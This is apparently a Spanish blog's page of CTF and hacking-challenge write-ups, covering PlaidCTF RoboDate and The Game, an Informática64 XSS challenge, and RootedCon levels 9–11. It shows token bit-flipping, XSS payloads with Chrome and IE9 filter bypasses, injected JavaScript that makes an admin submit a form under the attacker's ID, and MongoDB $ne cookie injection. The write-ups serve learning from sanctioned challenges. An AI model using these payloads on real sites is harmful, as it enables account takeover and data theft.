Posts Tagged ‘Retos hacking’

PlaidCTF – RoboDate write-up

Lunes, abril 30th, 2012

Este es otro reto de los medio-fáciles, pues también valía sólo 100 puntos.


El enunciado decía:


So apparently robots, despite their lack of hormones, still have an underlying desire to mate. We stumbled upon a robot dating site, RoboDate. Hack it for us!


La URL del reto es: http://23.20.214.191/59ec1e5173d9cb794f1c29bc333f7327/ y tras acceder, si editamos el código fuente aparecía:


<!--
    <form action="/59ec1e5173d9cb794f1c29bc333f7327/login.py" method="POST">
        <lable for="username">Username:</label>
        <input id="username" name="username" placeholder="Username">
        <label for="status">Dating status:</label>
        <input id="status" name="status" placeholder="Single">
        <input value="Login" type="submit">
    </form>
-->


Con lo cual, intentamos cargar la página de login pasando como parámetro los campos username y status:


http://23.20.214.191/59ec1e5173d9cb794f1c29bc333f7327/login.py?username=pepe&status=1


Esto nos redirigía a otra página:


http://23.20.214.191/59ec1e5173d9cb794f1c29bc333f7327/frontpage.py?token=13074cdda7654e75690573228d2cf91881f471a2ebc0c16c27250089e088a19c


De nuevo, editando el código fuente veíamos algo así:


<!--
    debug info:

    user_data = pepe|1|user
    key = Only admins can see the key.
-->


Tras varias pruebas intentando crear un tercer parámetro que indicara que somos admin, y de probar diferentes inyecciones, tratamos de inyectar un pipe:


http://23.20.214.191/59ec1e5173d9cb794f1c29bc333f7327/login.py?username=pepe&status=1|admin


Pero el resultado era:


<!--
    debug info:

    user_data = pepe|1\|admin|user
    key = Only admins can see the key.
-->


Lo curioso era que si cargabas la dirección del token directamente, también te mostraba esos resultados y, es imposible que dado un token así pueda obtener el username y el status que corresponde. Así que probamos a modificar los valores del token y, efectivamente, según lo que cambiáramos, podíamos alterar los datos.


Lo primero que se nos ocurrió fue cambiar la palabra user por admin:


Los valores a cambiar:
5155572fa13744________0831012355dfdae874c27fdcea73913a7731e6c1fc


Resultado:
5155572fa1374497319ce20831012355dfdae874c27fdcea73913a7731e6c1fc


Y así obteníamos: admi … pero no hubo forma de conseguir la n


<!--
    debug info:

    user_data = pepe|1|admi
    key = Only admins can see the key.
-->


De manera que probamos con root, que tiene la misma longitud que user:


5155572fa13744843a9eff0831012355dfdae874c27fdcea73913a7731e6c1fc


Pero tampoco hubo suerte.


<!--
    debug info:

    user_data = pepe|1|root
    key = Only admins can see the key.
-->


Y tras pensar un poco, recordamos que si poníamos status=1|admin nos generaba un escape en el pipe, pero luego podríamos probar a modificar el token para anular ese escape:


Metemos como parametro: status=1|admin


083a7fb3b87a71290e663aca723f092cd4c4177c898ff2eeb609c5bc74d2dd7be63b18216638f5262602b04d99e636a5


    <!--
    debug info:

    user_data = pepe|1\|admin|user
    key = Only admins can see the key.
    -->


Y modificando el token quitamos la \


083a7fb3b87a70290e663aca723f092cd4c4177c898ff2eeb609c5bc74d2dd7be63b18216638f5262602b04d99e636a5


    <!--
    debug info:

    user_data = pepe|1]|admin|user
    key = 2012-04-25_14:46:24.29582+05:27@2012%127.0.0.2_IS_BEST_KEY
    -->


PlaidCTF – The Game write-up

Lunes, abril 30th, 2012

Este fin de semana pudimos jugar al CTF que prepararon los PPP (Plaid Parliament of Pwning) que, para mi gusto, es uno de los más complicados, además de divertidos. La verdad es que no conseguimos pasar del puesto 103 pero aún así nos lo pasamos genial concursando.

 

Entre el resto de equipos españoles, destacar a los int3pids que quedaron en el puesto 11, PentSec en el 74, Activalink en el 80, y algunos otros que quedaron por detrás nuestra.

 

Nosotros pasamos únicamente 4 retos, pero este concretamente me gustó porque había que programar y no sólo estrujarse el cerebro pensando. Está catalogados como nivel medio-fácil (viendo que sólo vale 100 puntos), así que podéis imaginar cómo serían los difíciles :)

 

El enunciado decía esto:

 

Robots enjoy some strange games and we just can’t quite figure this one out. Maybe you will have better luck than us.
23.22.16.34:6969

 

(nota: por saturación del servidor llegaron a cambiar de máquina 2 veces)

 

Tras conectar con un Netcat al servidor obteníamos algo así:

You have gotten 0 of 75
Choice 1 = f17775ea8c035349a2aca2a8bb3072897e
Choice 2 = 8ad96c125229183197c5ac7901216ba07f
Which one is bigger? (1 or 2)

A lo que debíamos aceptar 75 veces cuál de los dos era mayor, pero tras perder mucho tiempo buscando la lógica de los hashes:

 

- Mirando cuál era mayor
- Sumando los números
- Sumando las letras
- Comparando cada dígito
etc.

 

Al final optamos por programar un script que memorizara las soluciones a la espera de que se produjeran repeticiones.

 

Lo que hace el script es:

1- Preparamos 2 arrays para almacenar las parejas de tokens, en el primer array guardaremos los mayores y en el segundo, los menores.
2- Verificamos si la combinación solicitada está en nuestra lista de tokens almacenados (T1 > T2 o T2 > T1).
3- Si no está, verificamos si tenemos esos tokens guardados y hay algún valor intermedio que nos permita deducir si es mayor o menor (T1 > x > T2 o T2 > x > T1).
4- Si no tenemos la respuesta, probamos con un T1 > T2 y guardamos el resultado dependiendo de si hemos acertado o fallado.

 

Además de almacenar los tokens en arrays, los guardamos en disco para no perder los avances en caso de reiniciar por a algún fallo del server.

 

Y el script con el que conseguimos pasar la prueba es:

#!/usr/bin/perl

# by Pepelux

use IO::Socket;

my @t1;	# valores mayores
my @t2;	# valores menores

open (MYFILE, 'TheGame.txt');

while (<MYFILE>) {
	chomp;

	(my $token1, my $token2) = split(/ /, $_, 2);

	push (@t1, $token1);
	push (@t2, $token2);
}

close (MYFILE);

my $sc = new IO::Socket::INET (PeerAddr => '23.22.16.34',
		 PeerPort => '6969',
		 Timeout => '10',
		 Proto => 'tcp')
		 or die("Server is not available.\n");

while (1) {
	# cogemos los datos
	recv($sc, my $data1, 500, undef);
	my $tmp = $data1;
	$tmp =~ /gotten\s([0-9|\s|[a-z]*)/;
	my $values = "Found $1";
	$values =~ s/\n//g;

	if ($data1 =~ /76 of 75/i) {
		print "$data1\n\n";
		print "$data2\n\n";
		print "$data3\n\n";

		# guardamos en un fichero de logs
		open (MYFILE, '>>TheGame.log');
		print MYFILE "$data1\n";
		print MYFILE "$data2\n";
		close (MYFILE);
		exit;
	}

	if ($data1 !~ /bigger/) {
		recv($sc, my $data2, 500, undef);
	}

	# obtenemos los tokens
	my $tmp = $data1;
	$tmp =~ /Choice\s1\s=\s([a-f|0-9]*)\s/;
	my $token1 = $1;

	$tmp = $data1;
	$tmp =~ /Choice\s2\s=\s([a-f|0-9]*)\s/;
	my $token2 = $1;

	my $res = "1";
	my $new = 1;
	my $type = 0;

	# comprobamos si tenemos ese token guardado
	for (my $i = 0; $i < $#t1; $i++) {
		if (($t1[$i] eq $token1) && ($t2[$i] eq $token2)) {
			$res = "1";
			$new = 0;
			$type = 1;
		}

		if (($t2[$i] eq $token1) && ($t1[$i] eq $token2)) {
			$res = "2";
			$new = 0;
			$type = 2;
		}
	}

	if ($new eq 1) {
		# comprobamos si tenemos que token1 > que algún otro > token2
		FOO1: {
			for (my $i = 0; $i < $#t1; $i++) {
				if ($t1[$i] eq $token1) {
					my $tmp = $t2[$i];

					for (my $j = 0; $j < $#t1; $j++) {
						if (($t1[$j] eq $tmp) && ($t2[$j] eq $token2)) {
							$res = "1";
							$new = 2;
							$type = 3;
							last FOO1;
						}
					}
				}
			}
		}
	}

	if ($new eq 1) {
		# comprobamos si tenemos que token2 > que algún otro > token1
		FOO2: {
			for (my $i = 0; $i < $#t1; $i++) {
				if ($t1[$i] eq $token2) {
					my $tmp = $t2[$i];

					for (my $j = 0; $j < $#t1; $j++) {
						if (($t1[$j] eq $tmp) && ($t2[$j] eq $token1)) {
							$res = "2";
							$new = 2;
							$type = 4;
							last FOO2;
						}
					}
				}
			}
		}
	}

	# enviamos la respuesta y obtenemos el resultado
	print $sc "$res\n";
	recv($sc, my $data3, 500, undef);

	if ($data3 =~ /key/i) {
		print "$data1\n\n";
		print "$data2\n\n";
		print "$data3\n\n";

		# guardamos en un fichero de logs
		open (MYFILE, '>>TheGame.log');
		print MYFILE "$data1\n";
		print MYFILE "$data2\n";
		close (MYFILE);
		exit;
	}

	my $c = "Correct";
	my $ft1 = $token1;
	my $ft2 = $token2;

	# si no estaba almacenada esa combinación de tokens, la guardamos
	if ($new > 0)	{
		# si la respuesta es incorrecta, cambiamos el resultado
		if ($data3 =~ /Wrong/) {
			$c = "Wrong";

			if ($res eq "1") {
				push (@t1, $token2);
				push (@t2, $token1);
				$ft1 = $token2;
				$ft2 = $token1;
			}
			else {
				push (@t1, $token1);
				push (@t2, $token2);
			}
		}
		else {
			if ($res eq "1") {
				push (@t1, $token1);
				push (@t2, $token2);
			}
			else {
				push (@t1, $token2);
				push (@t2, $token1);
				$ft1 = $token2;
				$ft2 = $token1;
			}
		}

		# guardamos en un fichero los tokens
		open (MYFILE, '>>TheGame.txt');
		print MYFILE "$ft1 $ft2\n";
		close (MYFILE);
	}
	else {
		$c = "Wrong" if ($data =~ /Wrong/);
	}

	# guardamos en un fichero de logs
	open (MYFILE, '>>TheGame.log');
	print MYFILE "$data1\n";
	print MYFILE "$data2\n";
	print MYFILE "$data3\n";
	close (MYFILE);

	$type = "T1 > T2" if ($type eq 1);
	$type = "T2 > T1" if ($type eq 2);
	$type = "T1 > x > T2" if ($type eq 3);
	$type = "T2 > x > T1" if ($type eq 4);

	print "$values - " . ($#t1+1) . " token pairs saved - $c (res=$res)";
	print " - match found ($type)" if ($new ne 1);
	print "\n";
}

Finalmente, una vez acertadas las 75 respuestas seguidas, en el fichero TheGame.log podemos ver la key para pasar el reto, que es: d03snt_3v3ry0n3_md5

 

Solucionario al Reto de Hacking Infiltrados de Informática64

Viernes, mayo 13th, 2011

1- Introducción

La verdad es que me encantan los retos que prepara Chema Alonso porque están muy cuidados estéticamente. Es cierto que este reto, como su antecesor, son validados por personas físicas y llega a ser un poco coñazo, tanto para los participantes que tenemos que esperar a veces media hora para ver si una prueba es válida, como para los pobres que están varias horas al día validando nuestros numerosos intentos.

Este tipo de retos tienen como inconveniente el factor humano; y es que hay veces que una respuesta te la toman como mala y la vuelves a mandar y te la toman como buena, pero bueno, es parte del reto.

Cuando me registré y vi los logos de Google Chrome, Firefox e Internet Explorer, empecé a olerme (supongo que como todo el mundo) que se trataba de un reto basado en vulnerabilidades XSS, pues tenía toda la pinta de que el reto iba de saltarse algo en los 3 navegadores. Así que un buen comienzo, antes de empezar el reto, es leerse bien los solucionarios del BrowserSchool, escritos por Beni (buena pieza este Beni, jeje):

http://elladodelmal.blogspot.com/2010/03/solucionario-reto-browserschool-i-de-ii.html

http://elladodelmal.blogspot.com/2010/03/solucionario-reto-browserschool-ii-de.html

2- Análisis del reto

Ya pagué la novatada en el reto de BrowserSchool y me puse a probar a lo loco sin entender la dinámica del reto y, en ese caso, creo que no pasé más que un navegador; así que esta vez, me lo tomé con más calma y me leí y releí la ayuda del concurso y, me tomé mi tiempo en pensar cual era la finalidad de todo esto, antes de empezar a mandar y sufrir la larga espera de cada validación.

Tenemos 3 puertas que dan acceso a 3 salas diferentes. Cada una gestionada por un administrador, el cual usa diferente navegador para gestionar las incidencias de los usuarios.

Nosotros no tenemos acceso ya que desconocemos las claves de las salas pero, según la ayuda, el administrador es capaz de entrar a su sala sin necesidad de introducir clave alguna. Esto es importante ya que sabemos que no hay que robar ninguna clave sino que todo apunta a que hay que hacerse pasar por administrador para entrar.

Lo que nos aparece al entrar en la sala de validación es esto:

3- Fase I

Voy a escribir la solución de cada navegador por orden, tal y como yo lo pasé.

El primero en caer fue Firefox. Creo que está más que demostrado que ante errores de XSS es de los más permisivos y, por tanto, es al que más fácilmente se la podemos colar.

Analizando la página de acceso (inicioReto.aspx) vemos que al pinchar en una de las puertas se recarga la página y nos carga nuestro ID de usuario en la URL (en mi caso, inicioReto.aspx?idUsuario=950e8c2b-3a74-4f24-a809-40d32a9f73b6) y también vemos que ese ID de usuario se escribe abajo del todo. Si probamos vemos enseguida que existe una vulnerabilidad XSS. Por ejemplo:

inicioReto.aspx?idUsuario=xxx<script>alert(‘XSS’)</script>

Por supuesto, todas estas pruebas las realicé desde un Firefox, ya que, como dije, es el más permisivo en cuando a XSS.

Por otro lado, si mandamos alguna incidencia vemos que nos llega una copia del mail que recibe el administrador. En este mail viene nuestro usuario, la descripción de la incidencia y un link hacia inicioReto.aspx. En ese link viene asociado nuestro ID de usuario.

Si mandamos otra incidencia de prueba y la capturamos, por ejemplo, con el TamperData, vemos:

Ese enlace que le llega es lo que aparece en el campo ctl00%24cph2%24tbUrl. Por tanto, podemos tratar de meter algo para que al pinchar, y acceder a la web, explote la vulnerabilidad XSS que hemos encontrado.

En un principio pensé que había que robar la cookie del administrador para luego acceder nosotros manualmente con esa cookie y estuve probando algunas inyecciones en las que trataba de robar esa cookie. La forma de hacerlo fue intentando enviar un document.cookie hacia mi máquina, pero no tuve éxito.

Pensando un poco en lo que ponía en la ayuda, acerca de que el administrador entraba de forma automática, pensé que igual se podía hacer justamente al contrario, es decir, si el admin entra de forma automática, inyectarle a él mis datos para que entre usando su cookie pero con mi ID de usuario. Y así fue como ocurrió.

Si vemos el código fuente de la página nos encontramos con un campo llamado ctl00$cph2$hfidUsuario que contiene nuestro ID de usuario. El admin al entrar en la página, evidentemente tendrá el suyo. Por tanto, lo que vamos a tratar de hacer es cambiarlo para que acceda a la web con el nuestro y acto seguido, hacer un submit para que acceda, de forma automática, por la puerta correspondiente (recordemos que el admin NO necesita validación, por lo que un simple submit hará que pase por la puerta sin tener que escribir su clave de acceso).

Ahora el tema está en cómo saltar los filtros de cada navegador para poder hacer esto.

3.1- Mozilla Firefox v4.0.1

En el caso de Firefox no hizo falta saltarse ningún filtro, ya que directamente, no hay. Sólo había que ingeniarse una forma de acceder engañando al admin. Y la solución, tras varias pruebas, fue mandando en el campo ctl00%24cph2%24tbUrl esto:

http://rhinfiltrados.informatica64.com/inicioReto.aspx?idUsuario=950e8c2b-3a74-4f24-a809-40d32a9f73b6

Para que se vea mejor, voy a desglosar el script que inyecté:

<script type="text/javascript"><!--mce:0--></script>


Lo que hace esto es lo que he comentado antes, cambiamos el valor del ID de usuario por el nuestro y luego ejecutamos el submit. Y para que el script se ejecute al cargar la página, lo invocamos con un BODY ONLOAD.

3.2- Google Chrome v11.0.696.65

El segundo en caer fue Chrome. Aquí encontré una solución que yo creo que es válida, pero que no se tomó como buena en las repetidas veces que lo intenté mandar. A ver si Chema me explica porqué no iba }:->

Una vez entendida la dinámica tras superar el obstáculo usando Firefox, ya tenemos clara la finalidad y lo que tenemos que hacer, por lo que antes de mandar a lo loco incidencias, tenemos que probar a ejecutar, sin mandar incidencias, un simple alert usando Chrome. La cosa no fue fácil ya que trae un filtro anti-XSS, pero bueno, encontré googleando varias formas de saltárselo y una de ellas es cargando un fichero externo, tal que así:

<script src=http://url/file.js?

Y metiendo en file.js un alert, por ejemplo (sin poner las etiquetas de script):

alert(‘XSS’)

Como ya tenemos una forma de inyectar, el siguiente paso es probar a cambiar el ID de usuario y hacer el submit. Por lo que file.js quedaría así:

function f()

{

document.aspnetForm.ctl00$cph2$hfidUsuario.value=’950e8c2b-3a74-4f24-a809-40d32a9f73b6′;

document.aspnetForm.submit();

}

window.onload=f;

Esto dio bastante guerra ya que no terminaba de funcionar. Así que puse un alert delante y otro detrás y vi que se ejecutaba el primero pero no el segundo. Mirando con la consola de Chrome, aparecía un error diciendo que ctl00$cph2$hfidUsuario no existía.

Obviamente, si inyectamos ese código en el que no cerramos el script, todo lo que hay detrás queda inservible. Por lo que una solución fue modificar el script para que creara de nuevo ese input, quedando el fichero así:

function newInput()

{

var inpt = document.createElement(‘input’);

inpt.type=”text”;

inpt.name=”ctl00_cph2_hfidUsuario”;

inpt.id=”ctl00$cph2$hfidUsuario”;

document.aspnetForm.appendChild(inpt);

document.aspnetForm.innerHTML+=”
”;

}

function f()

{

newInput();

document.aspnetForm.ctl00$cph2$hfidUsuario.value=’950e8c2b-3a74-4f24-a809- 40d32a9f73b6′;

document.aspnetForm.submit();

}

window.onload=f;

De esta forma ya no daba error y, al menos en el mail que yo recibía, iba todo bien, pero no me dieron por válida esta solución.

Así que probé otro método que encontré para saltar el filtro de Chrome y que consistía en usar iframes:

<iframe src=’data:text/html,<script src=http://url/file.js></script>

Que en local iba bien pero tampoco fue una solución válida.

A estas alturas y ya bastante desesperado, sobre todo pensando en que IE9 iba a ser mucho más difícil aún, lo que probé es a pasar el reto sin la necesidad de explotar ningún XSS, accediendo al eslabón más débil, el humano … y voilá!

La solución pasó por enviar en el campo ctl00%24cph2%24tbUrl http://url

Donde esa URL era una IP mía en la que había una copia exacta de inicioReto.aspx, con mi ID de usuario y añadiendo al final de la página:

<script type="text/javascript"><!--mce:1--></script>

3.3- Internet Explorer v9.0.8112.16421

Este reto lo pasé exactamente igual que con Chrome (supongo que con Firefox también se habría pasado sin problemas) aunque como estuve realizando las pruebas por la noche, con el reto cerrado y, al mismo tiempo que preparaba la inyección para el Chrome, hice algunas pruebas y, la forma de saltarse el filtro de IE9, al igual que IE8, es añadiendo un %0a en la etiqueta del script, algo así:

<sc%0aript>alert(‘XSS’)</script>

Estuve probando la técnica usada por Beni en el reto de BrowserSchool y que consistía en superponer una imagen exactamente igual a la que aparecía en el reto pero que al pincharla llevara a mi IP. Aquí me encontré el problema de que el filtro del IE9 elimina los puntos de las URLs así que para saltarlo use como URL el valor decimal de mi IP y al script quitarle el punto … algo así:

http://3232235876/filejs

En este caso, al contrario que en la técnica anterior, no se podía hacer un submit de forma automática y había que esperar a que el administrador pinchara en la puerta. Al final, esta solución tampoco me la dieron por buena.

Y como dije antes, la pasé exactamente igual que con Chrome.

Tras pasar los 3 navegadores, podemos ver algo así:

4- Fase II

Para mí esta fase fue más divertida que las anteriores, ya que odio los XSS jeje y además, no requería de ninguna validación por una persona física. Esto daba más libertad para realizar pruebas.

Que fuera más divertida no quiere decir que fuera más fácil :)

Al entrar en el reto vemos esto:

En la URL nos aparecen 2 parámetros (mail y app_hash) y al pinchar en el botón Entrar nos dice que el mail no corresponde con el hash.

La URL es esta:

http://rhinfiltrados.informatica64.com/F@S%E2%82%AC_TW0_INI.aspx?mail=CAoLAAIdARUWDhcGHCYAAhIdEwkOBwANB19YWhwEEA%3d%3d&app_hash=97c4655a4b1e7d07477a6c53a901bf691d9405a7

Y los parámetros:

mail=CAoLAAIdARUWDhcGHCYAAhIdEwkOBwANB19YWhwEEA==

app_hash=97c4655a4b1e7d07477a6c53a901bf691d9405a7

Aparentemente, tenemos que conseguir un mail que concuerde con un app_hash y, para ello, lo que vamos a hacer es analizar cada uno de los parámetros.

El mail es claramente un base64 que si hacemos un unbase64 vemos algo ilegible. Tras varias pruebas con los HEX obtenidos vi que aplicando un XOR con la palabra infiltrados aparecía algo que llamaba la atención:

unbase64(mail) XOR ‘infiltrados’

_XZ###strad##&####

Así que probé a concatenar la palabra:

unbase64(mail) XOR ‘infiltradosinfiltrados’

_XZ###strador@informat

Y con algunas pruebas más:

unbase64(mail) XOR ‘infiltradosinfiltradosinfiltrad’

administrador@informatica64.net

El sencillo script que usé fue (en perl, of course! :P ):

Supuestamente necesitaremos codificar nuestro mail (con el que nos registramos al reto) para poder validarnos correctamente, por lo que hacemos la operación inversa para calcular el base64 correspondiente, en este caso, al mail con el que me registré (pepeluxx@gmail.com) … menos mal que no usé ninguna dirección guarrona xDD

Bueno, pues el script que usé es:

Evidentemente, la palabra que se usa para hacer el XOR debe tener la misma longitud que mi mail. Y el resultado:

base64(mail XOR ‘infiltradosinfiltr’)

GrkWDAABChkkCB4IBwpHDxsf

El segundo parámetro, app_hash, podemos ver que tiene 40 bytes por lo que una posible codificación es SHA1 o RIPEMD160.

Preguntando el resto de participantes (el que no haya preguntado a nadie que tire la primera piedra xDD), vi que el mail era el mismo para todos pero el app_hash variaba. Cerrando sesión y volviendo a entrar siempre tenía el mismo hash. Incluso conectando desde otra IP, este no variaba. Eso me hizo pensar que tenía algo que ver con alguno de mis datos de registro.

De manera que probé a codificar cada uno de mis datos (nick, nombre, apellidos, mail, provincia, población, incluso el ID de usuario con y sin guiones). Lo probé con SHA1 y con RIPEMD160 al mismo tiempo que usaba el base664 correspondiente a mi mail. Intenté validar usando mi mail y ese hash resultante pero no hubo éxito.

Tras esto pensé en intentar averiguar cómo estaba formado ese hash, del mismo modo que hice con el mail. Así que me creé un script que probaba todas las combinaciones de mis datos de registro (solos, concatenados a dos, a tres, etc) y luego encriptando con ambos algoritmos y buscando como resultado el valor que no daba la URL. Tampoco hubo suerte.

El siguiente paso fue añadir al script un XOR de la palabra que le metiera como parámetro. Probé con infiltrado, informatica64, el nombre de la url, mis datos sueltos, concatenados, etc … nada

Luego probé lo mismo pero combinando un base64 y el XOR o el base64 sólo … nada de nada.

El caso es que enfoqué mal la forma de resolverlo y busqué obtener ese hash que tenía, cuando lo que debía haber hecho es probarlos directamente en la URL, ya que, al final, la solución era tan simple como rebuscada. El hash era:

SHA1(mi_id concatenado con mi_mail)

Por tanto, mi solución (diferente a la del resto de usuario, evidentemente) fue:

http://rhinfiltrados.informatica64.com/F@S%E2%82%AC_TW0_INI.aspx?mail=GrkWDAABChkkCB4IBwpHDxsf%3d&app_hash=7d33c26d2bb41d320e0331363c2c036f6c7de906

Donde:

mail=GrkWDAABChkkCB4IBwpHDxsf

app_hash=7d33c26d2bb41d320e0331363c2c036f6c7de906

Y al pasar el reto vemos:

5- Agradecimientos

Como siempre, ha sido un gran placer participar en el reto. A la gente que nos gusta jugar sabemos lo difícil y laborioso que es preparar este tipo de retos. Así que, enhorabuena y muchas gracias a Informática64 y en especial a Chema Alonso y sobre todo, al equipo de gente que ha estado validando todas nuestras pruebas (sois unos cracks!! xDDD).

También mi enhorabuena a todos los participantes, en especial a Yuri, que ya podía haberse centrado en el reto de Suiza xDDD (es broma), Nadid, danigargu, Budaned y Thanar.

Y como siempre, saludos para los más grandes! Okaboy, Kachakil, RoManSoft (nunca se si escribo bien las mayúsculas del nick), Miguel Gesteiro, Int3pids (el resto), PainSec, etc etc etc

Y otro saludo también a r0i, k4dm3l, ralcaz, marcositu, ….

Hasta el próximo!


RootedCon CTF writeup nivel 11

Viernes, mayo 13th, 2011

Reto 11

Ya que obtuvimos una IP en el anterior reto, lo primero es hacer un escaneo a ver que hay detrás:

Tras buscar información en Google vemos que se trata de un sistema SCADA:

——————–

Technical description for port 502:

Port 502 is a serial communications protocol also functioning as a programmable logic controller. It has become a de facto standard communications protocol in the information technology industry. Port 502 is now the most popular and most accessible way of networking industrial electronic devices. The port permits the communication between devices connected to the same network. For instance, a system that can measure humidity and temperature can be programmed to communicate the results to a computer. Port 502 is commonly used as a supervisory computer with a remote terminal unit (RTU) to supervisory control and data acquisition (SCADA) systems.

——————–

Según el puerto que está usando, parece que funciona usando el protocolo ModBus (http://es.wikipedia.org/wiki/Modbus). Tras buscar más información en Google di con un script (publicado en una DefCon) que, usando falsos positivos, es capaz de identificar los dispositivos que hay detrás:

http://code.google.com/p/modscan/

Esto nos indica que hay un único dispositivo cuyo SID es 20.

Tras probar, sin éxito, varias librerías de perl y python así como algunos clientes para Linux, intentando conectar con ModBus, al final me funcionó el SimpleModBusTCP (para Windows): http://www.simplymodbus.ca/download.htm

Escribimos la IP del reto y, como Slave ID ponemos 20.

Tras realizar varias pruebas conseguí obtener el resultado que se ve arriba:

>>> 00 02 00 00 00 06 14 01 00 00 00 0A

< 02 00 00 00 00 0D 14 01 43 4F 4E 47 52 41 54 55 4C 41

Que si pasamos de Hex a ASCII obtenemos esto:

#����

##CONGRATULA

Tras darle varias vueltas, al final resultó que en el campo No of regs indicas el número de bytes que deseas recibir. Así que lo incrementé a 50 y obtuve:

#����(##CONGRATULATIONS YOU FINISHED, THE PAS

Ya estamos más cerca!

Probé con 55 pero daba error así que bajé a 53:

Y ya se pudo leer la palabra completa:

#����8##CONGRATULATIONS YOU FINISHED, THE PASSWORD IS LIBERTY

La solución para pasar el reto es: LIBERTY


RootedCon CTF writeup nivel 10

Viernes, mayo 6th, 2011

Reto 10

Tras pasar el reto anterior, nos sale por pantalla lo siguiente:

Para poder continuar:

172.23.0.47

Así que hacemos un escaneo a ver qué se esconde tras esa IP:

Y nos encontramos con un HTTPS, así que toca conectarse a ver qué hay en esa web:

Editando el código fuente nos encontramos con una pista:

De forma que si probamos a validarnos como test / test accedemos a otra pantalla:

Analizando con el TamperData podemos ver algunas cosas curiosas:

Tenemos una cookie con 3 valores:

  • PHPSESSID=dg1ofke8qvedlrg0m9g408f5g0
  • tokenid=786aprxg87
  • raw=dGVzdA%3D%3D

Analicemos estos 3 valores:

  • PHPSESSID puede dar lugar a confusión por el nombre de la variable pero el valor que tiene no se corresponde a lo esperado para una variable de sesión, que es un MD5 de 32 bytes. Por tanto ese valor, que por cierto no siempre es el mismo, es bastante sospechoso al tratarse de un ASCII de 30 bytes.
  • tokenid de momento no se lo que es aunque por el nombre, parece tratarse el ID del mensaje que aparece en pantalla. Si lo quito no me aparecen las frases con las conversaciones.
  • raw es el nombre del usuario en Base64, pero aunque lo cambiemos no hace nada diferente.

Una vez validados, por mucho que recarguemos o toquemos las cookies (siempre que no se altere PHPSESSID) lo que nos aparece siempre es:

Estuve buscando información sobre ‘Mongo‘ y me salía un mono. Luego estuve buscando información sobre ‘Mongo chat‘ y me salía una una web de contactos. Así que me quedé algo bloqueado hasta que Pablo, como pista, nos puso una referencia a una de las charlas de la Rooted (como estuve centrado en el CTF, la verdad es que no presté mucha atención a las charlas) acerca de MongoDB. Así que buscando información de nuevo di con esta web:

http://www.idontplaydarts.com/2010/07/mongodb-is-vulnerable-to-sql-injection-in-php-at-least/

en la que explica cómo realizar inyecciones en este sistema:

De forma que, como podemos ver, si no está bien validado, es posible inyectar código y extraer datos.

Tras varias pruebas, al final conseguí inyectar en una de las cookies, concretamente en tokenid:

La cookie original es:

PHPSESSID=28gp5uagb1ou5q55cvbkb25uo7;

tokenid=786aprxg87;

raw=dGVzdA%3D%3D

que sustituimos por:

PHPSESSID=28gp5uagb1ou5q55cvbkb25uo7;

tokenid[$ne]=786aprxg87;

raw=YWRtaW4%3D

Lo que estamos diciéndole es que saque todas las tokenid menos la que hay por defecto. Además, cambiamos el raw escribiendo admin en lugar de test (sino da un error).

Como supuse, tokenid era el identificador del mensaje que aparecía por pantalla, esta vez salió:

Pinchando en el primer enlace vamos a:

https://172.23.0.47/index.php?drink=sunny&quantity=1

Donde aparece algo así:

A medida que vamos recargando, va decrementando el número de sunnys hasta que termina diciendo que hemos bebido demasiadas.

Con el segundo enlace ocurre algo similar pero con coffee:

https://172.23.0.47/index.php?drink=coffee&quantity=1

Si nos pasamos pidiendo cafés, por ejemplo poniendo quantity=999, nos aparece:

Finalmente inyectamos también en la URL, concretamente en la bebida (además de en la cookie):

https://172.23.0.47/index.php?drink[$ne]=coffee&quantity=1

Apareciendo:

Y si insistimos, sale nuestra solución del reto:


Para pasar el reto, introducimos la IP que nos aparece: 172.23.0.234


RootedCon CTF writeup nivel 9

Viernes, abril 29th, 2011

Reto 9

En el reto anterior bajamos un fichero APK que parece ser una aplicación de Android así que vamos a abrirla con el emulador:

Firmamos con un certificado aleatorio:

Pasamos el Zipalign:

Y ya podemos instalar en el emulador (necesitamos el Android SDK):

Si metemos cualquier contraseña nos tira del programa. Así que vamos a decompilar el Java a ver que trae.

Tras instalarlo, nos conectamos con una shell a ver dónde lo instaló, para poderlo descargar:

Ahora descargamos el paquete ya instalado:

Renombramos el fichero como un ZIP:

Y lo descomprimimos:

Decompilamos con dex2jar el fichero classes.dex:

Y el JAR generado lo abrimos con el Java Decompiler:

Pinchamos en Save -> All Sources y guardamos los fuentes, creándonos el fichero: classes.dex.dex2jar.src.zip

Lo descomprimimos y obtenemos los fuentes:

Y ahora toca estudiarse bien el código :)

Veamos que hace el programa. Para ello, abrimos level.java:

Aquí podemos ver 3 cosas:

  • str1 toma el valor introducido por la pantalla, lo que nosotros escribimos como solución
  • arrayOfByte1 tiene un valor fijo, que es: iloverootedcon
  • arrayOfByte2 se trata de una especie de hash, aún por determinar: c135559de69f3f57b9d6d70729912f7060cdc4e27358b22bcc1eb54b4c941266

Tras eso vemos una serie de chequeos (concretamente 3) que son los que provocan que la aplicación, al ejecutarla, se cierre tras meter cualquier contraseña:

Mirando por curiosidad el valor de esa especie de hash, 6d656361676f20656e746f646f6f6f6f6f6f6f6f6f6f6f, vemos que se trata de la palabra: ‘mecago entodooooooooooo‘ … jeje muy oportuna a estas alturas :)

Si seguimos viendo el código, ahora llega la parte caliente:

A groso modo:

  • arrayOfByte6 toma un valor que recoge de la función readRes().
  • arrayOfByte7 coge el valor que teníamos en arrayOfByte1, es decir, iloverootedcon.
  • str2 es el resultado de lo que hace la función x(), pasando como parámetro arrayOfByte6 y arrayOfByte7.
  • arrayOfByte8 es la cadena que introducimos al ejecutar el programa.
  • arrayOfByte9 es el valor en bytes de str2.

Luego hace un encrypt() usando como parámetros, nuestra cadena y str2, que deducimos que debe ser la key de (des)encriptado.

Si analizamos las funciones de utils.java, podemos ver que se trata de una encriptación AES. Por tanto, necesitamos una clave de cifrado para poder encriptar o desencriptar.

Volviendo a la imagen anterior, podemos deducir lo siguiente:

  • Tenemos el hash resultante:

c135559de69f3f57b9d6d70729912f7060cdc4e27358b22bcc1eb54b4c941266

  • Utiliza las funciones readRes() y x() para obtener la key, o parte de ella (ya que luego va concatenando ceros).
  • Realiza un bucle en el que va añadiendo ceros (48 en decimal) a la derecha de la key y va probando a encriptar nuestra cadena y comparándola con el hash que tenemos como resultado.
  • En utils.java podemos ver que existe una función decrypt() que no se utiliza en el programa.

Pues la cosa parece clara. Tratamos de usar ese mismo código, quitando las 3 funciones detect() y sustituyendo el encrypt() por un decrypt().

Aquí vino el lío. Jeje el problema es que no es lo mismo que esté claro, a que sea fácil hacerlo :)

Yo no soy muy adepto a Java así que, en primer lugar, traté de quitar todas las referencias a Android y compilar el programa en el PC, tal cual estaba. No hubo forma.

